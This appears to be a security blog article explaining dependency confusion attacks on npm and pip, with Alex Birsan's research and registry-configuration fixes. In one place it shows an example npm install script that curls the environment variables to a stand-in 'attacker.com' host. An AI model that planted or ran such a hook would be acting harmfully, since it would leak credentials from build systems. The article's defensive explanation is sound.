Dependency Confusion Attacks: How Package Names Steal Your Code
Dependency confusion attacks exploit package managers by uploading malicious packages with internal names to public registries.
Dependency confusion attacks happen because package managers default to checking public registries, even when you're using private packages. Attackers upload malicious code with internal package names. Your CI/CD pulls and executes attacker code.
The fix is simple: configure package managers correctly. Most companies don't.
How Dependency Confusion Works
Step 1: Company uses internal packages
Company has private npm packages for shared code:
@mycompany/auth@mycompany/api-client@mycompany/utils
These live in a private npm registry (JFrog Artifactory, npm Enterprise, AWS CodeArtifact).
Step 2: Developer configuration
package.json:
{
"dependencies": {
"@mycompany/auth": "^1.2.3",
"express": "^4.18.0"
}
}
Step 3: Attacker discovers internal package names
Via:
Leaked
package.jsonin public GitHub reposError messages mentioning package names
Former employees disclosing names
Social engineering
Step 4: Attacker publishes to public npm
Attacker creates @mycompany/auth on public npm with version 999.999.999.
Step 5: Package manager downloads attacker's package
npm (without proper configuration) checks public registry. Finds @mycompany/auth@999.999.999 (higher version than internal 1.2.3). Downloads and installs malicious package.
Step 6: Code execution
Package has install script:
{
"scripts": {
"install": "curl https://attacker.com/steal?data=$(env)"
}
}
On npm install, this executes. Attacker gets:
Environment variables (API keys, tokens, credentials)
Source code access (if running in CI/CD)
Network access to internal systems
Alex Birsan Research
Alex Birsan demonstrated this attack in 2021, earning $130k in bug bounties.
Targets: Over 35 companies including Apple, Microsoft, Netflix, Yelp, Tesla
Method:
Identified internal package names from public sources
Published packages to public npm/PyPI with same names
Used high version numbers (999.999.999) to ensure precedence
Added telemetry to track installations
Reported to affected companies
Results:
Thousands of downloads from major tech companies
Code executed in CI/CD pipelines
Access to internal networks, credentials, source code
$130k in bounty payouts
This wasn't a sophisticated exploit. It was package manager configuration doing exactly what it was told to do - just not what companies intended.
Why Package Managers Do This
npm behavior:
npm install @mycompany/auth
npm checks (in order):
Local cache
Configured registries
Public npm registry (default)
If @mycompany/auth exists in public npm with a higher version than private registry, npm installs the public version.
pip behavior (Python):
pip install company-internal-package
pip checks configured repositories. If not found, checks PyPI. If both have the package, highest version wins.
RubyGems, Maven, NuGet: Similar behavior. Public registries are default or fallback.
This isn't a bug. It's designed behavior. The problem is companies don't configure registry precedence correctly.
Why This Persists
Default configurations are insecure
Out of the box, package managers check public registries. Developers must explicitly configure private registry precedence.
Most don't.
No namespace protection
Anyone can publish @yourcompany/package-name to public npm. Package managers don't verify ownership.
npm scopes (@scopename) don't provide security. They're just namespaces. Attackers can create packages within any scope.
Version number precedence
Package managers use semantic versioning. 999.999.999 beats 1.2.3.
Attackers exploit this by publishing absurdly high version numbers.
Lack of awareness
Developers don't understand package manager resolution order. They assume "we use a private registry" means package managers won't check public registries.
Wrong.
CI/CD inherits developer configurations
Developer machine might be configured correctly. CI/CD pipeline uses a generic Docker image with default npm config.
CI/CD pulls from public registry. Attacker code executes in pipeline with access to production credentials.
No auditing
Companies don't monitor which registries packages are downloaded from. Malicious packages get installed without detection.
Attack Scenarios
Scenario 1: CI/CD credential theft
Company uses @mycompany/deploy-utils for deployment scripts. Package has access to AWS credentials in environment variables.
Attacker publishes malicious @mycompany/deploy-utils to public npm. CI/CD pipeline installs it. postinstall script exfiltrates AWS credentials to attacker server.
Attacker has production AWS access.
Scenario 2: Source code exfiltration
Internal package @company/build-tools runs during build. Has access to entire source code.
Attacker publishes malicious version. Build process installs it. Package uploads source code to attacker server.
Company IP is stolen.
Scenario 3: Backdoor deployment
Package @company/auth-middleware is used in production applications.
Attacker publishes malicious version with backdoor. Next deployment pulls attacker package. Backdoor ships to production.
Production compromised.
npm Scope
npm scopes like @mycompany seem like they provide isolation. They don't.
npm install @mycompany/auth
This will install from public npm if that package exists there, regardless of whether you have a private registry with the same package.
The fix:
.npmrc:
@mycompany:registry=https://private-registry.company.com
This tells npm: "For packages in @mycompany scope, only use this registry."
Most companies don't configure this.
pip’s Problem
Python's pip has similar issues with PyPI.
Attack:
pip install company-internal-utils
If company-internal-utils exists on both private repository and PyPI, pip might install from PyPI depending on configuration.
The fix:
pip.conf:
[global]
index-url = https://private-repo.company.com/simple/
Or use --index-url flag explicitly.
Again, most companies rely on default behavior.
Detection
How do you know if you're vulnerable?
Do you use internal packages?
Are those package names secret or publicly known?
Is your package manager configured to prioritise private registry?
Are CI/CD pipelines configured the same as developer machines?
If you answer "I don't know" to any of these, you're probably vulnerable.
Monitoring:
Check where packages are downloaded from:
npm config get registry
Audit installed packages against expected sources. But this requires tooling most companies don't have.
Final Thoughts
Dependency confusion is a simple attack with devastating impact. It exploits default package manager behavior that most developers don't understand.
The fix is trivial: configure registry precedence correctly. Most companies don't because:
Complexity
Lack of awareness
No ownership
Works until it doesn't
Alex Birsan made $130k in bounties demonstrating this. How many attackers have exploited it without disclosing?
You're probably vulnerable right now. Your build pipelines are likely pulling packages from public registries without verification.
Check your .npmrc. If you don't have scope restrictions configured, you're one package name discovery away from being compromised.
The supply chain attack surface is massive. Dependency confusion is one of the easiest exploits.
Fix your package manager configs. Before someone else publishes @yourcompany/auth-utils to public npm.


